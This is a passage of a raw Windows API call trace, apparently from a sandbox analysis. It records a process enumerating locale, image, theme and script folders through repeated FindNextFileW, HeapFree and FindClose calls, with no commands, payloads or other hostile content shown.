nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0268.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.775] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0268.778] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.778] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0268.778] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.778] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0268.778] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.778] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0268.779] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.779] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0268.779] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.779] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0268.779] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.779] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0268.779] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.779] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0268.779] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.779] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0268.780] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.780] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0268.780] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.780] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0268.780] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.780] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0268.780] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.780] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0268.780] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.780] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0268.781] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.781] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0268.781] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.781] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0268.781] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.781] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0268.781] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.781] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0268.781] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.781] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0268.781] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.781] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0268.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.782] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0268.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.782] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0268.783] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.783] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0268.783] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.783] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0268.783] FindClose (in: hFindFile=0x64a0d8 | out: hFindFile=0x64a0d8) returned 1 [0268.783] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0268.783] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 0 [0268.783] FindClose (in: hFindFile=0x649fd8 | out: hFindFile=0x649fd8) returned 1 [0268.784] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.784] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0268.784] FindClose (in: hFindFile=0x6eb770 | out: hFindFile=0x6eb770) returned 1 [0268.784] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0268.786] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="generic-rhp-app", cAlternateFileName="GENERI~1")) returned 1 [0268.789] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.789] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0268.849] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.849] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0268.849] FindClose (in: hFindFile=0x64a398 | out: hFindFile=0x64a398) returned 1 [0268.849] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0268.849] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0268.849] FindClose (in: hFindFile=0x64a0d8 | out: hFindFile=0x64a0d8) returned 1 [0268.850] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.852] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0268.951] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.952] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0268.952] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.952] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0268.952] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.952] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0268.952] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.952] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0268.952] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.953] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0268.953] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.953] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0268.953] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.953] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0268.953] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.953] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", 